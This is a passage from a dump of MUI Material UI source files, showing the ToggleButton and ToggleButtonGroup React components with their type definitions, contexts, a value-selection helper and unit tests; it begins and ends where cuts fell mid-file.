     Hello World\n      </ToggleButton>,\n    );\n\n    expect(screen.getByRole('button')).to.have.property('disabled', true);\n  });\n\n  it('can render a small button', () => {\n    render(\n      <ToggleButton data-testid=\"root\" size=\"small\" value=\"hello\">\n        Hello World\n      </ToggleButton>,\n    );\n\n    const root = screen.getByTestId('root');\n    expect(root).to.have.class(classes.root);\n    expect(root).to.have.class(classes.sizeSmall);\n    expect(root).not.to.have.class(classes.sizeLarge);\n  });\n\n  it('should render a large button', () => {\n    render(\n      <ToggleButton data-testid=\"root\" size=\"large\" value=\"hello\">\n        Hello World\n      </ToggleButton>,\n    );\n\n    const root = screen.getByTestId('root');\n    expect(root).to.have.class(classes.root);\n    expect(root).not.to.have.class(classes.sizeSmall);\n    expect(root).to.have.class(classes.sizeLarge);\n  });\n\n  describe('prop: onChange', () => {\n    it('should be called when clicked', () => {\n      const handleChange = spy();\n\n      render(\n        <ToggleButton value=\"1\" onChange={handleChange}>\n          Hello\n        </ToggleButton>,\n      );\n\n      screen.getByRole('button').click();\n\n      expect(handleChange.callCount).to.equal(1);\n    });\n\n    it('should be called with the button value', () => {\n      const handleChange = spy();\n\n      render(\n        <ToggleButton value=\"1\" onChange={handleChange}>\n          Hello\n        </ToggleButton>,\n      );\n\n      screen.getByRole('button').click();\n\n      expect(handleChange.callCount).to.equal(1);\n      expect(handleChange.args[0][1]).to.equal('1');\n    });\n\n    it('should not be called if the click is prevented', () => {\n      const handleChange = spy();\n\n      render(\n        <ToggleButton\n          value=\"one\"\n          onChange={handleChange}\n          onClick={(event) => event.preventDefault()}\n        >\n          Hello\n        </ToggleButton>,\n      );\n\n      screen.getByRole('button').click();\n\n      expect(handleChange.callCount).to.equal(0);\n    });\n  });\n\n  describe('prop: nativeButton', () => {\n    it('forwards nativeButton={false} to ButtonBase with a custom component', () => {\n      const CustomSpan = React.forwardRef((props, ref) => <span ref={ref} {...props} />);\n      const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});\n\n      render(\n        <ToggleButton component={CustomSpan} value=\"one\" nativeButton={false}>\n          One\n        </ToggleButton>,\n      );\n\n      const button = screen.getByRole('button');\n      expect(button).to.have.tagName('SPAN');\n      expect(button).not.to.have.attribute('type');\n\n      // Proves nativeButton={false} was forwarded — without it, ButtonBase\n      // would warn about a non-button host with nativeButton omitted.\n      expect(errorSpy.mock.calls.length).to.equal(0);\n      errorSpy.mockRestore();\n    });\n  });\n\n  describe.skipIf(!isJsdom())('server-side', () => {\n    it('should server-side render', () => {\n      const { container } = renderToString(<ToggleButton value=\"hello\">Hello World</ToggleButton>);\n      expect(container.firstChild).to.have.text('Hello World');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/ToggleButton/index.d.ts",
    "content": "export { default } from './ToggleButton';\nexport * from './ToggleButton';\n\nexport { default as toggleButtonClasses } from './toggleButtonClasses';\nexport * from './toggleButtonClasses';\n"
  },
  {
    "path": "packages/mui-material/src/ToggleButton/index.js",
    "content": "export { default } from './ToggleButton';\n\nexport { default as toggleButtonClasses } from './toggleButtonClasses';\nexport * from './toggleButtonClasses';\n"
  },
  {
    "path": "packages/mui-material/src/ToggleButton/toggleButtonClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface ToggleButtonClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** State class applied to the root element if `disabled={true}`. */\n  disabled: string;\n  /** State class applied to the root element if `selected={true}`. */\n  selected: string;\n  /** State class applied to the root element if `color=\"standard\"`. */\n  standard: string;\n  /** State class applied to the root element if `color=\"primary\"`. */\n  primary: string;\n  /** State class applied to the root element if `color=\"secondary\"`. */\n  secondary: string;\n  /** Styles applied to the root element if `size=\"small\"`. */\n  sizeSmall: string;\n  /** Styles applied to the root element if `size=\"medium\"`. */\n  sizeMedium: string;\n  /** Styles applied to the root element if `size=\"large\"`. */\n  sizeLarge: string;\n  /** Styles applied to the root element if `fullWidth={true}`. */\n  fullWidth: string;\n}\n\nexport type ToggleButtonClassKey = keyof ToggleButtonClasses;\n\nexport function getToggleButtonUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiToggleButton', slot);\n}\n\nconst toggleButtonClasses: ToggleButtonClasses = generateUtilityClasses('MuiToggleButton', [\n  'root',\n  'disabled',\n  'selected',\n  'standard',\n  'primary',\n  'secondary',\n  'sizeSmall',\n  'sizeMedium',\n  'sizeLarge',\n  'fullWidth',\n]);\n\nexport default toggleButtonClasses;\n"
  },
  {
    "path": "packages/mui-material/src/ToggleButtonGroup/ToggleButtonGroup.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableStringUnion } from '@mui/types';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { ToggleButtonGroupClasses } from './toggleButtonGroupClasses';\n\nexport interface ToggleButtonGroupPropsSizeOverrides {}\n\nexport interface ToggleButtonGroupPropsColorOverrides {}\n\nexport interface ToggleButtonGroupProps extends StandardProps<\n  React.HTMLAttributes<HTMLDivElement>,\n  'onChange' | 'children'\n> {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<ToggleButtonGroupClasses> | undefined;\n  /**\n   * The color of the button when it is selected.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'standard'\n   */\n  color?:\n    | OverridableStringUnion<\n        'standard' | 'primary' | 'secondary' | 'error' | 'info' | 'success' | 'warning',\n        ToggleButtonGroupPropsColorOverrides\n      >\n    | undefined;\n  /**\n   * If `true`, only allow one of the child ToggleButton values to be selected.\n   * @default false\n   */\n  exclusive?: boolean | undefined;\n  /**\n   * If `true`, the component is disabled. This implies that all ToggleButton children will be disabled.\n   * @default false\n   */\n  disabled?: boolean | undefined;\n  /**\n   * If `true`, the button group will take up the full width of its container.\n   * @default false\n   */\n  fullWidth?: boolean | undefined;\n  /**\n   * Callback fired when the value changes.\n   *\n   * @param {React.MouseEvent<HTMLElement>} event The event source of the callback.\n   * @param {any} value of the selected buttons. When `exclusive` is true\n   * this is a single value; when false an array of selected values. If no value\n   * is selected and `exclusive` is true the value is null; when false an empty array.\n   */\n  onChange?: ((event: React.MouseEvent<HTMLElement>, value: any) => void) | undefined;\n  /**\n   * The component orientation (layout flow direction).\n   * @default 'horizontal'\n   */\n  orientation?: 'horizontal' | 'vertical' | undefined;\n  /**\n   * The size of the component.\n   * @default 'medium'\n   */\n  size?:\n    | OverridableStringUnion<'small' | 'medium' | 'large', ToggleButtonGroupPropsSizeOverrides>\n    | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The currently selected value within the group or an array of selected\n   * values when `exclusive` is false.\n   *\n   * The value must have reference equality with the option in order to be selected.\n   */\n  value?: any;\n}\n\n/**\n *\n * Demos:\n *\n * - [Toggle Button](https://next.mui.com/material-ui/react-toggle-button/)\n *\n * API:\n *\n * - [ToggleButtonGroup API](https://next.mui.com/material-ui/api/toggle-button-group/)\n */\nexport default function ToggleButtonGroup(props: ToggleButtonGroupProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/ToggleButtonGroup/ToggleButtonGroup.js",
    "content": "'use client';\nimport * as React from 'react';\nimport { isFragment } from 'react-is';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport getValidReactChildren from '@mui/utils/getValidReactChildren';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport toggleButtonGroupClasses, {\n  getToggleButtonGroupUtilityClass,\n} from './toggleButtonGroupClasses';\nimport ToggleButtonGroupContext from './ToggleButtonGroupContext';\nimport ToggleButtonGroupButtonContext from './ToggleButtonGroupButtonContext';\nimport toggleButtonClasses from '../ToggleButton/toggleButtonClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, orientation, fullWidth, disabled } = ownerState;\n\n  const slots = {\n    root: ['root', orientation, fullWidth && 'fullWidth'],\n    grouped: ['grouped', disabled && 'disabled'],\n    firstButton: ['firstButton'],\n    lastButton: ['lastButton'],\n    middleButton: ['middleButton'],\n  };\n\n  return composeClasses(slots, getToggleButtonGroupUtilityClass, classes);\n};\n\nconst ToggleButtonGroupRoot = styled('div', {\n  name: 'MuiToggleButtonGroup',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      { [`& .${toggleButtonGroupClasses.grouped}`]: styles.grouped },\n      {\n        [`& .${toggleButtonGroupClasses.firstButton}`]: styles.firstButton,\n      },\n      {\n        [`& .${toggleButtonGroupClasses.lastButton}`]: styles.lastButton,\n      },\n      {\n        [`& .${toggleButtonGroupClasses.middleButton}`]: styles.middleButton,\n      },\n      styles.root,\n      ownerState.orientation === 'vertical' && styles.vertical,\n      ownerState.fullWidth && styles.fullWidth,\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    display: 'inline-flex',\n    borderRadius: (theme.vars || theme).shape.borderRadius,\n    variants: [\n      {\n        props: { orientation: 'vertical' },\n        style: {\n          flexDirection: 'column',\n          [`& .${toggleButtonGroupClasses.grouped}`]: {\n            [`&.${toggleButtonGroupClasses.selected} + .${toggleButtonGroupClasses.grouped}.${toggleButtonGroupClasses.selected}`]:\n              {\n                borderTop: 0,\n                marginTop: 0,\n              },\n          },\n          [`& .${toggleButtonGroupClasses.firstButton},& .${toggleButtonGroupClasses.middleButton}`]:\n            {\n              borderBottomLeftRadius: 0,\n              borderBottomRightRadius: 0,\n            },\n          [`& .${toggleButtonGroupClasses.lastButton},& .${toggleButtonGroupClasses.middleButton}`]:\n            {\n              marginTop: -1,\n              borderTop: '1px solid transparent',\n              borderTopLeftRadius: 0,\n              borderTopRightRadius: 0,\n            },\n          [`& .${toggleButtonGroupClasses.lastButton}.${toggleButtonClasses.disabled},& .${toggleButtonGroupClasses.middleButton}.${toggleButtonClasses.disabled}`]:\n            {\n              borderTop: '1px solid transparent',\n            },\n        },\n      },\n      {\n        props: { fullWidth: true },\n        style: {\n          width: '100%',\n        },\n      },\n      {\n        props: { orientation: 'horizontal' },\n        style: {\n          [`& .${toggleButtonGroupClasses.grouped}`]: {\n            [`&.${toggleButtonGroupClasses.selected} + .${toggleButtonGroupClasses.grouped}.${toggleButtonGroupClasses.selected}`]:\n              {\n                borderLeft: 0,\n                marginLeft: 0,\n              },\n          },\n          [`& .${toggleButtonGroupClasses.firstButton},& .${toggleButtonGroupClasses.middleButton}`]:\n            {\n              borderTopRightRadius: 0,\n              borderBottomRightRadius: 0,\n            },\n          [`& .${toggleButtonGroupClasses.lastButton},& .${toggleButtonGroupClasses.middleButton}`]:\n            {\n              marginLeft: -1,\n              borderLeft: '1px solid transparent',\n              borderTopLeftRadius: 0,\n              borderBottomLeftRadius: 0,\n            },\n          [`& .${toggleButtonGroupClasses.lastButton}.${toggleButtonClasses.disabled},& .${toggleButtonGroupClasses.middleButton}.${toggleButtonClasses.disabled}`]:\n            {\n              borderLeft: '1px solid transparent',\n            },\n        },\n      },\n    ],\n  })),\n);\n\nconst ToggleButtonGroup = React.forwardRef(function ToggleButtonGroup(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiToggleButtonGroup' });\n  const {\n    children,\n    className,\n    color = 'standard',\n    disabled = false,\n    exclusive = false,\n    fullWidth = false,\n    onChange,\n    orientation = 'horizontal',\n    size = 'medium',\n    value,\n    ...other\n  } = props;\n  const ownerState = { ...props, disabled, fullWidth, orientation, size };\n  const classes = useUtilityClasses(ownerState);\n\n  const handleChange = React.useCallback(\n    (event, buttonValue) => {\n      if (!onChange) {\n        return;\n      }\n\n      const index = value && value.indexOf(buttonValue);\n      let newValue;\n\n      if (value && index >= 0) {\n        newValue = value.slice();\n        newValue.splice(index, 1);\n      } else {\n        newValue = value ? value.concat(buttonValue) : [buttonValue];\n      }\n\n      onChange(event, newValue);\n    },\n    [onChange, value],\n  );\n\n  const handleExclusiveChange = React.useCallback(\n    (event, buttonValue) => {\n      if (!onChange) {\n        return;\n      }\n\n      onChange(event, value === buttonValue ? null : buttonValue);\n    },\n    [onChange, value],\n  );\n\n  const context = React.useMemo(\n    () => ({\n      className: classes.grouped,\n      onChange: exclusive ? handleExclusiveChange : handleChange,\n      value,\n      size,\n      fullWidth,\n      color,\n      disabled,\n    }),\n    [\n      classes.grouped,\n      exclusive,\n      handleExclusiveChange,\n      handleChange,\n      value,\n      size,\n      fullWidth,\n      color,\n      disabled,\n    ],\n  );\n\n  const validChildren = getValidReactChildren(children);\n  const childrenCount = validChildren.length;\n\n  const getButtonPositionClassName = (index) => {\n    const isFirstButton = index === 0;\n    const isLastButton = index === childrenCount - 1;\n\n    if (isFirstButton && isLastButton) {\n      return '';\n    }\n    if (isFirstButton) {\n      return classes.firstButton;\n    }\n    if (isLastButton) {\n      return classes.lastButton;\n    }\n    return classes.middleButton;\n  };\n\n  return (\n    <ToggleButtonGroupRoot\n      role=\"group\"\n      className={clsx(classes.root, className)}\n      ref={ref}\n      ownerState={ownerState}\n      {...other}\n    >\n      <ToggleButtonGroupContext.Provider value={context}>\n        {validChildren.map((child, index) => {\n          if (process.env.NODE_ENV !== 'production') {\n            if (isFragment(child)) {\n              console.error(\n                [\n                  \"MUI: The ToggleButtonGroup component doesn't accept a Fragment as a child.\",\n                  'Consider providing an array instead.',\n                ].join('\\n'),\n              );\n            }\n          }\n\n          return (\n            <ToggleButtonGroupButtonContext.Provider\n              key={index}\n              value={getButtonPositionClassName(index)}\n            >\n              {child}\n            </ToggleButtonGroupButtonContext.Provider>\n          );\n        })}\n      </ToggleButtonGroupContext.Provider>\n    </ToggleButtonGroupRoot>\n  );\n});\n\nToggleButtonGroup.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The color of the button when it is selected.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'standard'\n   */\n  color: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['standard', 'primary', 'secondary', 'error', 'info', 'success', 'warning']),\n    PropTypes.string,\n  ]),\n  /**\n   * If `true`, the component is disabled. This implies that all ToggleButton children will be disabled.\n   * @default false\n   */\n  disabled: PropTypes.bool,\n  /**\n   * If `true`, only allow one of the child ToggleButton values to be selected.\n   * @default false\n   */\n  exclusive: PropTypes.bool,\n  /**\n   * If `true`, the button group will take up the full width of its container.\n   * @default false\n   */\n  fullWidth: PropTypes.bool,\n  /**\n   * Callback fired when the value changes.\n   *\n   * @param {React.MouseEvent<HTMLElement>} event The event source of the callback.\n   * @param {any} value of the selected buttons. When `exclusive` is true\n   * this is a single value; when false an array of selected values. If no value\n   * is selected and `exclusive` is true the value is null; when false an empty array.\n   */\n  onChange: PropTypes.func,\n  /**\n   * The component orientation (layout flow direction).\n   * @default 'horizontal'\n   */\n  orientation: PropTypes.oneOf(['horizontal', 'vertical']),\n  /**\n   * The size of the component.\n   * @default 'medium'\n   */\n  size: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['small', 'medium', 'large']),\n    PropTypes.string,\n  ]),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The currently selected value within the group or an array of selected\n   * values when `exclusive` is false.\n   *\n   * The value must have reference equality with the option in order to be selected.\n   */\n  value: PropTypes.any,\n};\n\nexport default ToggleButtonGroup;\n"
  },
  {
    "path": "packages/mui-material/src/ToggleButtonGroup/ToggleButtonGroup.test.js",
    "content": "import { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport ToggleButtonGroup, {\n  toggleButtonGroupClasses as classes,\n} from '@mui/material/ToggleButtonGroup';\nimport ToggleButton, { toggleButtonClasses } from '@mui/material/ToggleButton';\nimport Tooltip from '@mui/material/Tooltip';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<ToggleButtonGroup />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<ToggleButtonGroup />, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    muiName: 'MuiToggleButtonGroup',\n    refInstanceof: window.HTMLDivElement,\n    skip: ['componentProp'],\n    testVariantProps: { size: 'small' },\n    testStateOverrides: { prop: 'orientation', value: 'vertical', styleKey: 'vertical' },\n  }));\n\n  it('renders a `group`', () => {\n    render(<ToggleButtonGroup aria-label=\"my group\" />);\n\n    expect(screen.queryByRole('group', { name: 'my group' })).not.to.equal(null);\n  });\n\n  it('can render group orientation vertically', () => {\n    render(\n      <ToggleButtonGroup orientation=\"vertical\">\n        <ToggleButton value=\"one\">1</ToggleButton>\n      </ToggleButtonGroup>,\n    );\n\n    expect(screen.getByRole('group')).to.have.class('MuiToggleButtonGroup-vertical');\n    expect(screen.getByRole('button')).to.have.class('MuiToggleButtonGroup-grouped');\n  });\n\n  it('should have horizontal class', () => {\n    render(\n      <ToggleButtonGroup>\n        <ToggleButton value=\"one\">1</ToggleButton>\n      </ToggleButtonGroup>,\n    );\n\n    expect(screen.getByRole('group')).to.have.class(classes.horizontal);\n  });\n\n  it('should disable all ToggleButton if disabled prop is passed', () => {\n    render(\n      <ToggleButtonGroup disabled>\n        <ToggleButton value=\"one\">1</ToggleButton>\n        <ToggleButton value=\"two\">2</ToggleButton>\n      </ToggleButtonGroup>,\n    );\n    const [firstButton, secondButton] = screen.getAllByRole('button');\n    expect(firstButton).to.have.property('disabled', true);\n    expect(secondButton).to.have.property('disabled', true);\n  });\n\n  describe('exclusive', () => {\n    it('should render a selected ToggleButton if value is selected', () => {\n      render(\n        <ToggleButtonGroup exclusive value=\"one\">\n          <ToggleButton value=\"one\">1</ToggleButton>\n        </ToggleButtonGroup>,\n      );\n\n      expect(screen.getByRole('button')).to.have.attribute('aria-pressed', 'true');\n    });\n\n    it('should not render a selected ToggleButton when its value is not selected', () => {\n      render(\n        <ToggleButtonGroup exclusive value=\"one\">\n          <ToggleButton value=\"one\">1</ToggleButton>\n          <ToggleButton value=\"two\">2</ToggleButton>\n        </ToggleButtonGroup>,\n      );\n\n      expect(screen.getAllByRole('button')[1]).to.have.attribute('aria-pressed', 'false');\n    });\n  });\n\n  describe('non exclusive', () => {\n    it('should render a selected ToggleButton if value is selected', () => {\n      render(\n        <ToggleButtonGroup value={['one']}>\n          <ToggleButton value=\"one\">1</ToggleButton>\n          <ToggleButton value=\"two\">2</ToggleButton>\n        </ToggleButtonGroup>,\n      );\n\n      const buttons = screen.getAllByRole('button');\n      expect(buttons[0]).to.have.attribute('aria-pressed', 'true');\n      expect(buttons[1]).to.have.attribute('aria-pressed', 'false');\n    });\n  });\n\n  describe('prop: onChange', () => {\n    describe('exclusive', () => {\n      it('passed value should be null when current value is toggled off', () => {\n        const handleChange = spy();\n\n        render(\n          <ToggleButtonGroup value=\"one\" exclusive onChange={handleChange}>\n            <ToggleButton value=\"one\">One</ToggleButton>\n            <ToggleButton value=\"two\">Two</ToggleButton>\n          </ToggleButtonGroup>,\n        );\n\n        screen.getAllByRole('button')[0].click();\n\n        expect(handleChange.callCount).to.equal(1);\n        expect(handleChange.args[0][1]).to.equal(null);\n      });\n\n      it('should be a single value when value is toggled on', () => {\n        const handleChange = spy();\n\n        render(\n          <ToggleButtonGroup exclusive onChange={handleChange}>\n            <ToggleButton value=\"one\">One</ToggleButton>\n            <ToggleButton value=\"two\">Two</ToggleButton>\n          </ToggleButtonGroup>,\n        );\n\n        screen.getAllByRole('button')[0].click();\n\n        expect(handleChange.callCount).to.equal(1);\n        expect(handleChange.args[0][1]).to.equal('one');\n      });\n\n      it('should be a single value when a new value is toggled on', () => {\n        const handleChange = spy();\n\n        render(\n          <ToggleButtonGroup exclusive value=\"one\" onChange={handleChange}>\n            <ToggleButton value=\"one\">One</ToggleButton>\n            <ToggleButton value=\"two\">Two</ToggleButton>\n          </ToggleButtonGroup>,\n        );\n\n        screen.getAllByRole('button')[1].click();\n\n        expect(handleChange.callCount).to.equal(1);\n        expect(handleChange.args[0][1]).to.equal('two');\n      });\n    });\n\n    describe('non exclusive', () => {\n      it('should be an empty array when current value is toggled off', () => {\n        const handleChange = spy();\n\n        render(\n          <ToggleButtonGroup value={['one']} onChange={handleChange}>\n            <ToggleButton value=\"one\">One</ToggleButton>\n            <ToggleButton value=\"two\">Two</ToggleButton>\n          </ToggleButtonGroup>,\n        );\n\n        screen.getAllByRole('button')[0].click();\n\n        expect(handleChange.callCount).to.equal(1);\n        expect(handleChange.args[0][1]).to.deep.equal([]);\n      });\n\n      it('should be an array with a single value when value is toggled on', () => {\n        const handleChange = spy();\n\n        render(\n          <ToggleButtonGroup onChange={handleChange}>\n            <ToggleButton value=\"one\">One</ToggleButton>\n            <ToggleButton value=\"two\">Two</ToggleButton>\n          </ToggleButtonGroup>,\n        );\n\n        screen.getAllByRole('button')[0].click();\n\n        expect(handleChange.callCount).to.equal(1);\n        expect(handleChange.args[0][1]).to.have.members(['one']);\n      });\n\n      it('should be an array with a single value when a secondary value is toggled off', () => {\n        const handleChange = spy();\n\n        render(\n          <ToggleButtonGroup value={['one', 'two']} onChange={handleChange}>\n            <ToggleButton value=\"one\">One</ToggleButton>\n            <ToggleButton value=\"two\">Two</ToggleButton>\n          </ToggleButtonGroup>,\n        );\n\n        screen.getAllByRole('button')[0].click();\n\n        expect(handleChange.callCount).to.equal(1);\n        expect(handleChange.args[0][1]).to.have.members(['two']);\n      });\n\n      it('should be an array of all selected values when a second value is toggled on', () => {\n        const handleChange = spy();\n\n        render(\n          <ToggleButtonGroup value={['one']} onChange={handleChange}>\n            <ToggleButton value=\"one\">One</ToggleButton>\n            <ToggleButton value=\"two\">Two</ToggleButton>\n          </ToggleButtonGroup>,\n        );\n\n        screen.getAllByRole('button')[1].click();\n\n        expect(handleChange.callCount).to.equal(1);\n        expect(handleChange.args[0][1]).to.have.members(['one', 'two']);\n      });\n    });\n  });\n\n  it('should not be fullWidth by default', () => {\n    const { container } = render(\n      <ToggleButtonGroup>\n        <ToggleButton value=\"one\">1</ToggleButton>\n        <ToggleButton value=\"two\">2</ToggleButton>\n      </ToggleButtonGroup>,\n    );\n    const button = screen.getAllByRole('button')[1];\n    const buttonGroup = container.firstChild;\n    expect(buttonGroup).not.to.have.class(classes.fullWidth);\n    expect(button).not.to.have.class(toggleButtonClasses.fullWidth);\n  });\n\n  it('can pass fullWidth to Button', () => {\n    const { container } = render(\n      <ToggleButtonGroup fullWidth>\n        <ToggleButton value=\"one\">1</ToggleButton>\n        <ToggleButton value=\"two\">2</ToggleButton>\n      </ToggleButtonGroup>,\n    );\n    const buttonGroup = container.firstChild;\n    const button = screen.getAllByRole('button')[1];\n    expect(buttonGroup).to.have.class(classes.fullWidth);\n    expect(button).to.have.class(toggleButtonClasses.fullWidth);\n  });\n\n  describe('position classes', () => {\n    it('correctly applies position classes to buttons', () => {\n      render(\n        <ToggleButtonGroup value=\"one\">\n          <Tooltip title=\"tooltip\">\n            <ToggleButton value=\"one\">One</ToggleButton>\n          </Tooltip>\n          <Tooltip title=\"tooltip\">\n            <span>\n              <ToggleButton value=\"two\" disabled>\n                Two\n              </ToggleButton>\n            </span>\n          </Tooltip>\n          <Tooltip title=\"tooltip\">\n            <span>\n              <ToggleButton value=\"three\" disabled>\n                Three\n              </ToggleButton>\n            </span>\n          </Tooltip>\n        </ToggleButtonGroup>,\n      );\n\n      const firstButton = screen.getAllByRole('button')[0];\n      const middleButton = screen.getAllByRole('button')[1];\n      const lastButton = screen.getAllByRole('button')[2];\n\n      expect(firstButton).to.have.class(classes.firstButton);\n      expect(firstButton).not.to.have.class(classes.middleButton);\n      expect(firstButton).not.to.have.class(classes.lastButton);\n\n      expect(middleButton).to.have.class(classes.middleButton);\n      expect(middleButton).not.to.have.class(classes.firstButton);\n      expect(middleButton).not.to.have.class(classes.lastButton);\n\n      expect(lastButton).to.have.class(classes.lastButton);\n      expect(lastButton).not.to.have.class(classes.middleButton);\n      expect(lastButton).not.to.have.class(classes.firstButton);\n    });\n\n    it('does not apply any position classes to a single button', () => {\n      render(\n        <ToggleButtonGroup>\n          <ToggleButton value=\"one\">One</ToggleButton>\n        </ToggleButtonGroup>,\n      );\n\n      const button = screen.getByRole('button');\n\n      expect(button).not.to.have.class(classes.firstButton);\n      expect(button).not.to.have.class(classes.middleButton);\n      expect(button).not.to.have.class(classes.lastButton);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/ToggleButtonGroup/ToggleButtonGroupButtonContext.ts",
    "content": "'use client';\nimport * as React from 'react';\n\ntype ToggleButtonPositionClassName = string;\n\n/**\n * @ignore - internal component.\n */\nconst ToggleButtonGroupButtonContext = React.createContext<\n  ToggleButtonPositionClassName | undefined\n>(undefined);\n\nif (process.env.NODE_ENV !== 'production') {\n  ToggleButtonGroupButtonContext.displayName = 'ToggleButtonGroupButtonContext';\n}\n\nexport default ToggleButtonGroupButtonContext;\n"
  },
  {
    "path": "packages/mui-material/src/ToggleButtonGroup/ToggleButtonGroupContext.ts",
    "content": "'use client';\nimport * as React from 'react';\nimport type { ToggleButtonGroupProps } from './ToggleButtonGroup';\n\ninterface ToggleButtonGroupContextType {\n  className?: string | undefined;\n  onChange?: ToggleButtonGroupProps['onChange'] | undefined;\n  value?: ToggleButtonGroupProps['value'] | undefined;\n  size?: ToggleButtonGroupProps['size'] | undefined;\n  fullWidth?: ToggleButtonGroupProps['fullWidth'] | undefined;\n  color?: ToggleButtonGroupProps['color'] | undefined;\n  disabled?: ToggleButtonGroupProps['disabled'] | undefined;\n}\n\n/**\n * @ignore - internal component.\n */\nconst ToggleButtonGroupContext = React.createContext<ToggleButtonGroupContextType>({});\n\nif (process.env.NODE_ENV !== 'production') {\n  ToggleButtonGroupContext.displayName = 'ToggleButtonGroupContext';\n}\n\nexport default ToggleButtonGroupContext;\n"
  },
  {
    "path": "packages/mui-material/src/ToggleButtonGroup/index.d.ts",
    "content": "export { default } from './ToggleButtonGroup';\nexport * from './ToggleButtonGroup';\n\nexport { default as toggleButtonGroupClasses } from './toggleButtonGroupClasses';\nexport * from './toggleButtonGroupClasses';\n"
  },
  {
    "path": "packages/mui-material/src/ToggleButtonGroup/index.js",
    "content": "export { default } from './ToggleButtonGroup';\n\nexport { default as toggleButtonGroupClasses } from './toggleButtonGroupClasses';\nexport * from './toggleButtonGroupClasses';\n"
  },
  {
    "path": "packages/mui-material/src/ToggleButtonGroup/isValueSelected.js",
    "content": "// Determine if the toggle button value matches, or is contained in, the\n// candidate group value.\nexport default function isValueSelected(value, candidate) {\n  if (candidate === undefined || value === undefined) {\n    return false;\n  }\n\n  if (Array.isArray(candidate)) {\n    return candidate.includes(value);\n  }\n\n  return value === candidate;\n}\n"
  },
  {
    "path": "packages/mui-material/src/ToggleButtonGroup/isValueSelected.test.js",
    "content": "import { expect } from 'chai';\nimport isValueSelected from './isValueSelected';\n\ndescribe('<ToggleButton /> isValueSelected', () => {\n  it('is false when value is undefined', () => {\n    expect(isValueSelected(undefined, [undefined])).to.equal(false);\n  });\n\n  it('is false when candidate is undefined', () => {\n    expect(isValueSelected('example', undefined)).to.equal(false);\n  });\n\n  describe('non exclusive', () => {\n    it('is true if candidate is contained in value', () => {\n      expect(isValueSelected('one', ['one'])).to.equal(true);\n    });\n\n    it('is false if value is not contained in candidate', () => {\n      expect(isValueSelected('one', ['two'])).to.equal(false);\n    });\n\n    it('is false if value is loosely contained in candidate', () => {\n      expect(isValueSelected('3', [3])).to.equal(false);\n    });\n  });\n\n  describe('exclusive', () => {\n    it('is true if candidate strictly equals value', () => {\n      expect(isValueSelected('one', 'one')).to.equal(true);\n    });\n\n    it('is false if candidate does not equal value', () => {\n      expect(isValueSelected('two', 'one')).to.equal(false);\n    });\n\n    it('is false if candidate loosely equals value', () => {\n      expect(isValueSelected('3', 3)).to.equal(false);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/ToggleButtonGroup/toggleButtonGroupClasses.ts",
